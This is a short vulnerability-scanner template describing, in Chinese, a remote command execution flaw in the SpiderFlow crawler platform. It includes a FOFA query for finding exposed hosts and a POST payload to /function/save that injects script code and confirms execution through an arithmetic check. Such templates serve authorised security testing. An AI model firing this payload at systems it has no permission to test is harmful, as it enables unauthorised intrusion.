spiderflow-save-rce: SpiderFlow save 远程命令执行漏洞

id: spiderflow-save-rce
info:
  name: SpiderFlow save 远程命令执行漏洞
  author: laohuan12138
  severity: critical
  verified: true
  description: |
    spiderflow 是一个爬虫平台，以图形化方式定义爬虫流程，无需代码即可实现一个爬虫,其中/function/save接口存在命令执行漏洞，可获取系统权限。
    fofa: title=="SpiderFlow"
  reference:
    - https://cn-sec.com/archives/1366553.html
  tags: spiderflow,rce
  created: 2023/09/06

set:
  num1: randomInt(1000, 6666)
  num2: randomInt(6666, 9999)
rules:
  r0:
    request:
      method: POST
      path: /function/save
      body: id=&name=a&parameter=&script=}throw({{num1}}*{{num2}});{
    expression: response.body.bcontains(bytes(string(num1*num2)))
expression: r0()